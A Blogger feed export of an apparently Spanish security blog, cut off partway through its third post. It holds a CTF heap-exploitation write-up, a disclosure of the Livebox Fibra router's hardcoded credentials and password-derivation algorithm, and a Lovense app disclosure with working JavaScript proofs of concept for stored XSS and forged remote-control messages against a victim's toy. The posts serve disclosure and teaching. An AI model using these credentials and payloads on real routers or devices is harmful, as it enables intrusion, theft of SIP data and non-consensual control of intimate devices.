tag:blogger.com,1999:blog-29203639494610027432024-03-05T14:16:41.013+01:00Un Novato en el lado del mal.Blog sobre seguridad Informática escrito por un novato. Todos empezamos siendo novatos, aprendiendo poco a poco! También podéis seguirme en Twitter: @alberto__seguraAnonymoushttp://www.blogger.com/profile/11533511974431956943noreply@blogger.comBlogger36125tag:blogger.com,1999:blog-2920363949461002743.post-18016090651367556692018-10-08T17:24:00.000+02:002019-05-18T09:28:05.958+02:00CTF NN8ed - Navaja Negra - Pokedex<br />
This weekend I have been in Albacete (Spain) in the '<a href="https://www.navajanegra.com/" target="_blank">Navaja Negra Conference</a>'. It was an amazing event! I had a great time there watching the conferences and playing the CTF. I recommend you go to the conference next year, really, it is amazing!! Congratulations to the organization.<br />
<br />
In this post, I will tell you how I solved the 'Pokedex' challenge (category: exploiting).<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcbifI9dKsNbtCRhY9XNqEG6-JwJcw3xPNZ6CY5nObLhdxF2NVKTI7f72a3xO-T6QpwP2u3bzdFxhyphenhyphenDwBGaHadlXGb2t6rj_3xu00NwbR954GcNtuj9PRaeGB6jYgMyoGQWKEsJM4nyNE/s1600/Captura+de+pantalla+de+2018-10-08+16-31-20.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="466" data-original-width="305" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcbifI9dKsNbtCRhY9XNqEG6-JwJcw3xPNZ6CY5nObLhdxF2NVKTI7f72a3xO-T6QpwP2u3bzdFxhyphenhyphenDwBGaHadlXGb2t6rj_3xu00NwbR954GcNtuj9PRaeGB6jYgMyoGQWKEsJM4nyNE/s320/Captura+de+pantalla+de+2018-10-08+16-31-20.png" width="209" /></a></div>
<br />
<br />
As you can see, the provided binary is a Linux binary that allows us to register Pokemons (it is a Pokedex :P). It allows us to add, edit, delete and view Pokemons. With this description, we can start thinking it is a classic Use-after-free challenge, and we are right. If we open the binary in a dissembler we can see how it works, and if we just try to delete a Pokemon and view/edit it after that, we will finally confirm that it is a classic use-after-free. I will exploit the use-after-free, but there is a different way to solve it by exploiting the double free vulnerability (you can delete a Pokemon many times..).<br />
<br />
A Pokemon is composed by 5 fields: ID, Name, Height, Weight and Power. The most important field is the name, which is a C string (char*). It is important because we need to use this string to modify the struct of a previously deleted (freed) Pokemon. The size of the Pokemon structure is 24 bytes. Checking how the memory is reserved, we can see that every time we create a Pokemon, it reservers 24 bytes for the struct and then X more bytes for the string.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigh_-L-IMwoEF1pq-5KchfZR4Guwh6D-kqflTXsQtEFfChogjb0GToEIN2StRK42po87CaYXhEyW07XDjW-AhfhTgrjZW-ekgzIjD_k3puNq_EikWJWQOvocXgSjQbdm3yF7dyqzskkeo/s1600/Captura+de+pantalla+de+2018-10-08+13-03-37.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="431" data-original-width="730" height="188" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigh_-L-IMwoEF1pq-5KchfZR4Guwh6D-kqflTXsQtEFfChogjb0GToEIN2StRK42po87CaYXhEyW07XDjW-AhfhTgrjZW-ekgzIjD_k3puNq_EikWJWQOvocXgSjQbdm3yF7dyqzskkeo/s320/Captura+de+pantalla+de+2018-10-08+13-03-37.png" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Pokemon's structure in green, pointer to the name in red, name immediately after the struct </td></tr>
</tbody></table>
<br />
In order to allocate a string in the space of a freed Pokemon's structure, we have to generate a hole in the following way:<br />
<br />
1. Create 4 Pokemons with a 24 bytes long name (with IDs: 0,1,2,3).<br />
2. Delete/Free the 2 Pokemons in the middle (in order to create a hole) (IDs: 1,2)<br />
3. Create a new Pokemon (ID: 4) with a >72 bytes long name (in my case I used a 100 bytes long name)<br />
4. Create a new Pokemon (ID: 5) with a 24 bytes long name (it will be allocated in one of the previous freed Pokemon's structures).<br />
<br />
With this, we can edit the name of the last created Pokemon to modify the structure of the last allocated and freed Pokemon (ID: 2). We need to create a Pokemon (ID: 4) with a name longer than 48 bytes because we want to keep the hole for the new structure (ID: 5) and the name.<br />
<br />
The memory will change as follows:<br />
<br />
After creating the 4 initial Pokemons:<br />
<br />
[--- 24 bytes ---] (struct Pokemon 0)<br />
[--- 24 bytes ---] (name Pokemon 0)<br />
[--- 24 bytes ---] (struct Pokemon 1)<br />
[--- 24 bytes ---] (name Pokemon 1)<br />
[--- 24 bytes ---] (struct Pokemon 2)<br />
[--- 24 bytes ---] (name Pokemon 2)<br />
[--- 24 bytes ---] (struct Pokemon 3)<br />
[--- 24 bytes ---] (name Pokemon 3)<br />
<br />
After deleting the 2 Pokemons in the middle:<br />
<br />
[--- 24 bytes ---] (struct Pokemon 0)<br />
[--- 24 bytes ---] (name Pokemon 0)<br />
[--- 24 bytes ---] (struct Pokemon 1) <b>FREE</b><br />
[--- 24 bytes ---] (name Pokemon 1) <b>FREE</b><br />
[--- 24 bytes ---] (struct Pokemon 2) <b>FREE</b><br />
[--- 24 bytes ---] (name Pokemon 2) <b>FREE</b><br />
[--- 24 bytes ---] (struct Pokemon 3)<br />
[--- 24 bytes ---] (name Pokemon 3)<br />
<br />
After creating the new Pokemon:<br />
<br />
[--- 24 bytes ---] (struct Pokemon 0)<br />
[--- 24 bytes ---] (name Pokemon 0)<br />
<b>[--- 24 bytes ---] (struct Pokemon 4)</b><br />
[--- 24 bytes ---] (name Pokemon 1) FREE<br />
[--- 24 bytes ---] (struct Pokemon 2) FREE<br />
[--- 24 bytes ---] (name Pokemon 2) FREE<br />
[--- 24 bytes ---] (struct Pokemon 3)<br />
[--- 24 bytes ---] (name Pokemon 3)<br />
<b>[--- 100 bytes ---] (name Pokemon 4)</b><br />
<br />
After creating the new Pokemon:<br />
<br />
[--- 24 bytes ---] (struct Pokemon 0)<br />
[--- 24 bytes ---] (name Pokemon 0)<br />
[--- 24 bytes ---] (struct Pokemon 4)<br />
<b>[--- 24 bytes ---] (struct Pokemon 5)</b><br />
<b>[--- 24 bytes ---] (name Pokemon 5) (and struct Pokemon 2 still points to here and can be used)</b><br />
[--- 24 bytes ---] (name Pokemon 2) FREE<br />
[--- 24 bytes ---] (struct Pokemon 3)<br />
[--- 24 bytes ---] (name Pokemon 3)<br />
[--- 100 bytes ---] (name Pokemon 4)<br />
<br />
Once we are here, we just have to edit the Pokemon 5 to modify the name, overwritting the struct of the Pokemon 2 and replacing the pointer to the Pokemon's name with a pointer we want. In my case, I replaced the pointer with the pointer of atoi@got (which is, basically, a table to know where the imported funcions are). At this point, we can use the "view" function to view the Pokemon 2 data, leaking the address of <b>atoi</b>. Once leaked, we can use this address to calculate the <b>system</b> address (the provided the libc.so binary, so we can calculate the offset and use it to calculate the address of system using the leaked address of atoi). Once we calculate the address of system, we can use the 'modify' function for the Pokemon 2 to modify the address of atoi with the address of system. The next time it uses the atoi function to process the selected option in the menu, it will call system. So, finally, we can write "sh" or "bash" to get a nicer shell and read the flag from the file "flag.txt". :D<br />
<br />
nn8ed{Tc4che_c0rrupt10n_FTW!}<br />
<br />
You can see the full exploit here: <a href="https://gist.github.com/segura2010/0101bb7d53460001dac02018b41bff1c">https://gist.github.com/segura2010/0101bb7d53460001dac02018b41bff1c</a><br />
<br />
I hope you enjoyed this post!<br />
See you in the next post and, hopefully in the next edition of Navaja Negra Conference! :DAlberto Segurahttp://www.blogger.com/profile/08495309179222070395noreply@blogger.com0tag:blogger.com,1999:blog-2920363949461002743.post-77230293558213624202017-09-21T10:20:00.003+02:002017-09-21T10:20:29.001+02:00Full Remote Control Livebox Fibra Router Orange and Jazztel Spain<br />
Recently Jazztel (my ISP) replaced the router I was using (ZTE H218N) with a new router known as "Livebox Fibra". This new router is used by Jazztel and Orange here in Spain. A lot of people have been trying to extract the SIP data and the ONT password in order to configure other custom routers. There are some public ways to root the router, but we are not going to talk about that in this blog post.<br />
<br />
In this blog post, I am going to introduce you a security issue with this router that allows an attacker to take full control of the router if the router web server is exposed to the Internet or if the attacker is connected to the router (for example by using a malicious app in the smartphone of the owner of the router).<br />
<br />
The router provides a web page to configure it.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEih4lrnYgyivLVIoYfcpChyphenhyphenfQOylZyif28Xj0TFkixXjEhxLxAXpO6NygjrWhlu6H2Et2HQBcAWE3qmA1njBqOAVqvITqPMySDPhlkCmVk-spAdiPd1XhtA_S6m7WJHZg-sAQTnuXMX1Ag/s1600/web.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="896" data-original-width="1600" height="222" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEih4lrnYgyivLVIoYfcpChyphenhyphenfQOylZyif28Xj0TFkixXjEhxLxAXpO6NygjrWhlu6H2Et2HQBcAWE3qmA1njBqOAVqvITqPMySDPhlkCmVk-spAdiPd1XhtA_S6m7WJHZg-sAQTnuXMX1Ag/s400/web.png" width="400" /></a></div>
<br />
But you can also use an iOS and Android app to configure the router (called "Mi Livebox"):<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjM05m3YOG7cGWb0Q3mtrNlq9mNqiJFxpkdIhpH4Orpn36bU3qLza0Ll-TBVRtzSogCuLBwKIPkSjIYQ8iPstPFOAy1zW4trVWTA8la3yFcR9eRzAC1WANB85AU-vC5moVAllRuzO_y7KU/s1600/app.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1334" data-original-width="750" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjM05m3YOG7cGWb0Q3mtrNlq9mNqiJFxpkdIhpH4Orpn36bU3qLza0Ll-TBVRtzSogCuLBwKIPkSjIYQ8iPstPFOAy1zW4trVWTA8la3yFcR9eRzAC1WANB85AU-vC5moVAllRuzO_y7KU/s400/app.jpg" width="223" /></a></div>
<br />
The first time I started the app, I was surprised because the app showed the router status without asking me for a user and password. Also, I was able to modify some router params without having to put any user or password. I thought: "I need to know what magic way it is using to do this!" ;P<br />
<br />
I configured Burp Proxy on my phone and started to see the traffic..<br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6tE7daVanA7Tpsvlokch2bOhMPOOfytnFAoN7guGdSOHGlyuPEW_Mvp7CObgfvwOBmPlu2Kwqwdp0h6upBFeVIQenbVAFw0Hymuvg8Q7s0EMfccjQjdjVWycCfPV_qyNSf7sT6FQnzng/s1600/APIWAN.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="974" data-original-width="1600" height="242" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6tE7daVanA7Tpsvlokch2bOhMPOOfytnFAoN7guGdSOHGlyuPEW_Mvp7CObgfvwOBmPlu2Kwqwdp0h6upBFeVIQenbVAFw0Hymuvg8Q7s0EMfccjQjdjVWycCfPV_qyNSf7sT6FQnzng/s400/APIWAN.png" width="400" /></a><br />
<br />
<br />
<br />
Do you see that? No? It is using Basic HTTP Auth! But what is it using as user and password?<br />
<br />
base64decode('[AUTH_HEADER]') = ApiUsr:ApiUsrPass<br />
<br />
So it is using a harcoded user and password!!<br />
But it only uses this user and password in the first call to the router API (http://192.168.1.1/API/WAN).. The router returns the MAC address and other general information. The rest of API endpoints does not work with this user and password..<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEOuJbcHlF0fhmgtbO_236d3qQhOauJh6ifd09rcecZHqgkXu_wdmlQzD4e9O60ca0RieVR-9iR17EIenXL7Cq0yeEv5gjzhwpa-DQAqhp7Ra296PfFYvQjNjh2_sUsicn8w539p1LFgc/s1600/APIMORE.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="945" data-original-width="1600" height="236" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEOuJbcHlF0fhmgtbO_236d3qQhOauJh6ifd09rcecZHqgkXu_wdmlQzD4e9O60ca0RieVR-9iR17EIenXL7Cq0yeEv5gjzhwpa-DQAqhp7Ra296PfFYvQjNjh2_sUsicn8w539p1LFgc/s400/APIMORE.png" width="400" /></a></div>
<br />
If we see the rest of the request to the API, we can see that It uses another auth info in all the rest of requests.. If we decode this Base64 string, we obtain the following:<br />
UsrAdmin:[Some Trash]<br />
<br />
So it seems that the password for the "UsrAdmin" user is generated with some other data.. I said: "Ok, let's decompile and reverse engineer the APK" ;P<br />
<br />
In com/orange/milivebox/es/main/utils/Utils.smali we find the function "lambda$getCredentialsAPIrouter$0" that receives as params the MAC address of the router and a variable called "secret", whose value is "MiLiveBoxApp".<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjW_sQK2zZfkXnt2qM8vJKpgcI8gnTrDvW6TqVmJqoVwZzKNA6YthjJeOiVY2VijeLsOs47ZxqkJ6HwAdhDsNAxix2nMi3LS5-lQJn6xsyvJbLPU1oppbf_DUBG6IhAadC944RFr0m_dDc/s1600/getCredentialsCode.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1113" data-original-width="1600" height="277" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjW_sQK2zZfkXnt2qM8vJKpgcI8gnTrDvW6TqVmJqoVwZzKNA6YthjJeOiVY2VijeLsOs47ZxqkJ6HwAdhDsNAxix2nMi3LS5-lQJn6xsyvJbLPU1oppbf_DUBG6IhAadC944RFr0m_dDc/s400/getCredentialsCode.png" width="400" /></a></div>
<br />
<br />
This function does the following:<br />
<ol>
<li>Removes the ":" in the MAC address. cleanedMac = mac.replace(":","")</li>
<li>Generates the MD5 of the "secret" variable ("MiLiveBoxApp")</li>
<li>To the MD5 value, it appends the first 16 chars of the MD5. MD5("MiLiveBoxApp") = "62ea048211246ab16d2ef5729b7520ad"; so finally key="62ea048211246ab16d2ef5729b7520ad62ea048211246ab1".</li>
<li>It encrypts the cleanedMac using TripleDES ECB using the generated key as key.</li>
</ol>
<div>
Now, we know how the app and the router generate the password, so now we can generate the password and make requests to configure whatever we want in the router! An attacker could just create a malicious app to steal your SIP data (accesible in the endpoint http://192.168.1.1/API/VoIP/SIP/Lines/) or get your calls log (http://192.168.1.1/API/<span style="white-space: pre-wrap;">CallRegistry</span>) or get/set your WiFi password (http://192.168.1.1<span style="white-space: pre-wrap;">/API/LAN/WIFI/</span>) or whatever he want.</div>
<div>
<br /></div>
<div>
You can get a list of the available endpoints in: http://192.168.1.1/API/Capabilities<br />
<br />
There is also a "UsrOrange" user with the same password than "UsrAdmin". It is also allowed to access to the API. It seems like a special user for support.</div>
<div>
<br /></div>
<div>
<b>What to do if you are a customer / How to protect yourself</b></div>
<div>
<b><br /></b>
The latest version of the firmware is: "AR_LBFIBRA_sp-00.03.04.112S(Thu Aug 31 17:59:39 2017)". There is no fix for this issue, so you have to protect yourself.</div>
<div>
<ol>
<li>Do not expose your router to the internet. Check your NAT config on your router. There are an important number of routers exposed on Shodan..</li>
<li>The endpoint "http:/192.168.1.1/API/Access/LanApi" (for UsrAdmin) and "http:/192.168.1.1/API/Access/OspApi" (for UsrOrange) accept "GET" and "PUT" requests. GET gives you the password for UsrAdmin and UsrOrange, but you can change it by sending a "PUT" request with the following body (and reboot your router):</li>
<ol>
<li>http:/192.168.1.1/API/Access/LanApi: For UsrAdmin: {"User":"UsrAdmin","Password":"NewPassword"}</li>
<li>http:/192.168.1.1/API/Access/OspApi: For UsrAdmin: {"User":"UsrOrange","Password":"NewPassword"}</li>
</ol>
<li>Configure another router</li>
</ol>
<div>
<br /></div>
</div>
<div>
<b>Tools</b></div>
<div>
<b><br /></b></div>
<div>
Since there are a lot of people that want to extract their SIP data to configure other routers, I have developed a small tool in Java to extract the SIP data from the router using this security issue. This tool also gives you the possibility of changing your UsrAdmin and UsrOrange password to protect you of malicious apps.</div>
<div>
<br /></div>
<div>
You can download and check the source code here: <a href="https://github.com/segura2010/LiveboxFibraExtractor" target="_blank">https://github.com/segura2010/LiveboxFibraExtractor</a><br />
<br />
I hope you liked this blog post! See you in the next post!</div>
Alberto Segurahttp://www.blogger.com/profile/08495309179222070395noreply@blogger.com10tag:blogger.com,1999:blog-2920363949461002743.post-9489940045082788802017-07-06T18:36:00.000+02:002017-07-06T18:36:25.584+02:00Understanding (and breaking) the Internet of vibrating things: Lovense's toys<h2 id="lovensevulnerabilities">
</h2>
Some of the vulnerabilities disclosed have not been fixed. I follow the 90 days deadline that Google Project Zero use in their responsible disclosure policy (<a href="https://googleprojectzero.blogspot.com.es/2015/02/feedback-and-data-driven-updates-to.html">https://googleprojectzero.blogspot.com.es/2015/02/feedback-and-data-driven-updates-to.html</a>).<br />
<br />
<b>Report Timeline</b><br />
<b><br /></b>
<br />
<ul>
<li>2017-03-31 - I sent a report of the vulnerabilities to security@lovense.com</li>
<li>2017-04-01 - Received a response telling me that they are looking into it.</li>
<li>2017-04-06 - Received an email telling me the fixes they are going to include in order to fix the issues. They were trying to fix all them in 2 or 3 weeks.</li>
<li>2017-04-06 - I replied all right.</li>
<li>2017-05-22 - I sent an email asking for updates about the fixes and telling them that 49 was passed since the first report and I was following the 90 days deadline.</li>
<li>2017-05-23 - I received a response telling me that some issues have already been fixed, but the not fixed issues will be automatically fixed in their new app. They were developing a new app, but if they are not able to release it in time, they will update the actual app.</li>
<li>2017-06-29 - 90 days deadline arrived.</li>
<li>2017-07-06 - 97 days since first report. Disclosure.</li>
</ul>
<br />
<b><br /></b>
<br />
First of all, let's explain how Lovense toys work.
The toy is controlled by using a mobile app (available for Android and iOS) called Body Chat. The mobile app is an Apache Cordova app (<a href="https://cordova.apache.org/">https://cordova.apache.org</a>), so it is build in HTML and JavaScript (interesting to look for XSS vulnerabilities). The app controls the toy over bluetooth.<br />
This app also allows to chat with other users, and give the possibility to remote control the toy to the chat partner. The chat functionability works by using a jabber-based protocol over Websockets.<br />
This toy is very used in webcam's model's websites (such as Chaturbate, MyFreeCams..), because it provides a browser extension (<a href="https://es.lovense.com/cam-model/guide/phone#chaturbate">https://es.lovense.com/cam-model/guide/phone#chaturbate</a>) that use chat's messages in the website to detect if someone have sent any tokens/tips (virtual money in these websites) in order to make the toy vibrate. But, how the communication between the Chrome Extension and the Body Chat app works?? Let's explain it!<br />
The communication is simple, the app make a heartbead request every few seconds. The request is something like:<br />
<br />
<pre><code>GET /chrome/setLocalToy HTTP/1.1
Host: apps.lovense.com
Content-Type: application/json; charset=UTF-8
Origin: file://
Connection: keep-alive
Accept-Language: es-es
Accept-Encoding: gzip, deflate
Content-Length: 116
{"email":"user@mail.com","address":"192.168.1.129","port":"3000","portHttp":"3001","toys":{}}
</code></pre>
<br />
As we can see, the app is sending two open ports (random every time the app is started) on the device, the local network IP address, a list of connected toys and the user email. Do you see something bad here? no? well, we will speak about it later..<br />
Then, the Chrome Extension just make a request to receive the available toys, the IP address and the opened ports. So, the computer running the Chrome extension and the mobile with the app must be on the same local network in other to work. The Chrome extension will try to connect to the mobile in one of the opened port. In our example, the 3000's port have a WebSocket server listening on it, so basically the extension connect to the Websockets server and send commands in order to make the vibrator vibrate when neccesary.<br />
The app also allows users to generate and share a link to provide remote control of the toy to other users. This is an important feature because two of the most dangerous vulnerabilities are based on it. <br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGQ44FjojUM0jnP6QxRYRbO6tqu5I2vLU2r4F24d1H0S8Y_U_4acu457p7wyF3l66HlDzT31N80iGHCb-NXxxwMFfpNcdMg00Ay8iDwLaNaIc_DBHa3efgZ0f6XGrq3D909YK4_3nDDW8/s1600/lovense_link.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1182" data-original-width="665" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGQ44FjojUM0jnP6QxRYRbO6tqu5I2vLU2r4F24d1H0S8Y_U_4acu457p7wyF3l66HlDzT31N80iGHCb-NXxxwMFfpNcdMg00Ay8iDwLaNaIc_DBHa3efgZ0f6XGrq3D909YK4_3nDDW8/s320/lovense_link.jpg" width="180" /></a></div>
<br />
<br />
Now, we have an idea about how the app works, let's see how we can break it :)<br />
<br />
<h4 id="vulnerability1xssonbodychatapp">
Vulnerability 1. XSS on Body Chat app.</h4>
An user can add JavaScript code on his <strong>username</strong>, profile photo and the body of a chat message. To do that, he only need to send the same request that the app does, but adding the following in the username, the profile photo 'type' field or the body of a chat message:<br />
<code><br /></code>
<code>&#0000060;script>navigator.notification.confirm('This is a XSS!', null, 'XSS', ['Ok']);&#0000060;/script></code><br />
<br />
It bypasses the HTML tags filter by using '<' instead of '<'.<br />
Proof of concept in JavaScript:<br />
<pre><code>
</code></pre>
<pre><code>function doSomething(){
var xssExploit = "navigator.notification.confirm('This is a XSS!', null, 'XSS', ['Ok']);";
var victim = "lovensetest_7777!!!yopmail.com@im.lovense.com";
// start communication
socket.send('<?xml version="1.0"?><stream:stream xmlns:stream="http://etherx.jabber.org/streams" version="1.0" xmlns="jabber:client" to="im.lovense.com" xml:lang="en" xmlns:xml="http://www.w3.org/XML/1998/namespace" >');
socket.send("<iq type='get' xmlns='jabber:client' id='8579:sendIQ'><query xmlns='jabber:iq:roster'/></iq>");
socket.send("<presence xmlns='jabber:client'><show>chat</show><status>online</status><setting>%7B%22sound%22%3Atrue%2C%22status%22%3A%22online%22%2C%22videoRecord%22%3Afalse%7D</setting></presence>")
// change username/photo info to include XSS
socket.send("<iq type='set' from='lovensetest_2222!!!yopmail.com@im.lovense.com' xmlns='jabber:client' id='8580:sendIQ'><vCard xmlns='vcard-temp'><FN>lovensetest_2222&#0000060;script>"+ xssExploit +"&#0000060;/script></FN><SEX>m</SEX><PHOTO><BINVAL>[BASE64_ENCODED_IMAGE]</BINVAL><TYPE>image/jpeg'>&#0000060;script>"+ xssExploit +"&#0000060;/script></TYPE></PHOTO></vCard></iq>")
// send friends request
//socket.send("<presence to='"+ victim +"' type='subscribe' name='null' text='undefined' xmlns='jabber:client'/>")
// send message to trigger the XSS, and include XSS on message body
socket.send("<message to='"+ victim +"' type='chat' xmlns='jabber:client'><body>&#0000060;script>"+ xssExploit +"&#0000060;/script></body><active xmlns='http://jabber.org/protocol/chatstates'/></message>")
}
function exploit(){
socket = new WebSocket("wss://im1.lovense.com/s?text=[TOKEN_RELATED_TO_THE_USER]");
socket.onopen = function () {
doSomething();
};
// Log errors
socket.onerror = function (err) {
console.log('WebSocket Error ');
console.log(err)
};
// Log messages from the server
socket.onmessage = function (e) {
console.log('Server: ' + e.data);
};
}
</code></pre>
<br />
The 'text' param in the websocket URL is related to the user. Other information sent in the websocket communitation is also related to the user.<br />
The XSS can be triggered without being a friend of the victim. As we can see in the PoC, the attacker can send a chat message and the victim's app will receive it and parse it, so the code will be executed and the attacker does not have to be a friend neither send a friend request.<br />
The JavaScript code in the 'type' field of the image will be triggered in the chat window. Maybe it could be triggered in other sites, so I think the best way to fix these XSS is to filter the received input from the user before save it in the DB.<br />
This vulnerability gives to the attacker full control of the app, for example, to control the toy without permission. The attacker just need the email of the victim.<br />
<br />
<iframe height="480" src="https://drive.google.com/file/d/0B3DBEa0wcJb1RHg5VTNlNzd0UFU/preview" width="640"></iframe><br />
<h4 id="vulnerability2dostothelovenseextensionforchrome">
</h4>
<h4 id="vulnerability2dostothelovenseextensionforchrome">
</h4>
<h4 id="vulnerability2dostothelovenseextensionforchrome">
Vulnerability 2. DoS to the Lovense Extension for Chrome.</h4>
As we introduced before, the Body chat app sends a heartbeath request every few seconds.<br />
<pre><code>GET /chrome/setLocalToy HTTP/1.1
Host: apps.lovense.com
Content-Type: application/json; charset=UTF-8
Origin: file://
Connection: keep-alive
Accept-Language: es-es
Accept-Encoding: gzip, deflate
Content-Length: 116
{"email":"victim@mail.com","address":"192.168.1.129","port":"3000","portHttp":"3000","toys":{}}
</code></pre>
<br />
This request is used by the Chrome extension (or Lovense Browser), to connect to the app in a local network and send the proper commands to make the toy vibrate.<br />
An attacker, knowing the email of a cam model, is able to do a denial of service attack by sending invalid IP directions.<br />
Also, it opens ports on the smartphone, so if the attacker is in the same network he can connect to the opened ports and send commands to make vibrate the toy.<br />
<h4 id="vulnerability3createalinktocontrolthetoy">
</h4>
<h4 id="vulnerability3createalinktocontrolthetoy">
</h4>
<h4 id="vulnerability3createalinktocontrolthetoy">
Vulnerability 3. Create a link to control the toy.</h4>
An attacker, knowing the email of a cam model, can generate a link to control the toy by using the following GET request:<br />
<pre><code>
</code></pre>
<pre><code>https://www.lovense.com/app/cam/createSession?customerid=u57a1I&tid=&expires=0&allow2way=false&showaffiliate=true&modelEmail=victim@email.com&mode=&countTimeImmediately=false
</code></pre>
<br />
As we can see, the request only include the victim's email to generate the link, the rest of the information sent is not used to verify the request, it is just to set up the link.<br />
The 'customerid' field is just a random alphanumeric string whose size must be 6.<br />
<h4 id="vulnerability4remoteuseremailenumeration">
</h4>
<h4 id="vulnerability4remoteuseremailenumeration">
</h4>
<h4 id="vulnerability4remoteuseremailenumeration">
Vulnerability 4. Remote User Email Enumeration.</h4>
To add a friend on Body Chat app, it sends a request to verify if an user with the specified email exists. If it exists, then it will send the friend request. The request to verify the email address is:<br />
<pre><code>
</code></pre>
<pre><code>POST /ajaxCheckEmailRegisted HTTP/1.1
Host: apps.lovense.com
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: file://
Connection: keep-alive
Accept: */*
Accept-Language: es-es
Accept-Encoding: gzip, deflate
Content-Length: 47
email=user%40mail.com&type=addFriend&model=true
</code></pre>
<br />
The 'model' field is used to check if is model or not, so it could help the attacker to make the search of an specific account easier.<br />
They fixed this issue by limiting the number of emails you can check in a hour, but with the update they introduced the possibility of search users by username... So, now you can get the email address of a webcam model if she use the same user name ¯\_(ツ)_/¯. The API returns the data encrypted, but you can get the hardcoded keys and IVs from the apk and decrypt the returned email.<br />
<h4 id="vulnerability5remotecontrolusingchatmessages">
</h4>
<h4 id="vulnerability5remotecontrolusingchatmessages">
</h4>
<h4 id="vulnerability5remotecontrolusingchatmessages">
Vulnerability 5. Remote Control using Chat Messages.</h4>
The Remote control by shared links works by receiving over the jabber-based protocol over WebSockets a chat message from:
system!!!hytto.com@im.lovense.com/robot<br />
with the following content:<br />
<pre><code>
</code></pre>
<pre><code><message to="victim!!!domain.com@im.lovense.com" id="1VwJL-9819050" type="chat" from="system!!!hytto.com@im.lovense.com/robot"><body>"{\"symbol\":\"hytto_robot_2013\",\"type\":\"order\",\"content\":\"Vibrate:0;\"}"</body><thread>[REDACTED]</thread></message>
</code></pre>
<br />
Any user can replicate the message to make vibrate the vibrator. The following JavaScript code is a Proof of concept which connects to the WebSocket server and sends the chat message to the victim to make the toy vibrate.<br />
<pre><code>
</code></pre>
<pre><code>function doSomething(){
var victim = "victim!!!domain@im.lovense.com";
var vibrationLevel = "5";
// start communication
socket.send('<?xml version="1.0"?><stream:stream xmlns:stream="http://etherx.jabber.org/streams" version="1.0" xmlns="jabber:client" to="im.lovense.com" xml:lang="en" xmlns:xml="http://www.w3.org/XML/1998/namespace" >');
socket.send("<iq type='get' xmlns='jabber:client' id='8579:sendIQ'><query xmlns='jabber:iq:roster'/></iq>");
socket.send("<presence xmlns='jabber:client'><show>chat</show><status>online</status><setting>%7B%22sound%22%3Atrue%2C%22status%22%3A%22online%22%2C%22videoRecord%22%3Afalse%7D</setting></presence>")
// send message to vibrate
socket.send('<message to="'+ victim +'" type="chat" xmlns="jabber:client"><body>"{\\"symbol\\":\\"hytto_robot_2013\\",\\"type\\":\\"order\\",\\"content\\":\\"Vibrate:'+ vibrationLevel +';\\"}"</body><active xmlns="http://jabber.org/protocol/chatstates"/></message>')
}
function exploit(){
socket = new WebSocket("wss://im1.lovense.com/s?text=[RELATED_TO_THE_USER]");
socket.onopen = function () {
doSomething();
};
// Log errors
socket.onerror = function (err) {
console.log('WebSocket Error ');
console.log(err)
};
// Log messages from the server
socket.onmessage = function (e) {
console.log('Server: ' + e.data);
};
}
</code></pre>
<br />
The app should check if the message have been sent by system!!!hytto.com@im.lovense.com/robot or check if the user who sent the message is allowed to send this type of message before make the toy vibrate.<br />
But the RobotController in the app is not only able to control the vibrator, it also have been coded to receive other type of orders. One of these orders allows to execute JavaScript code in the app.<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
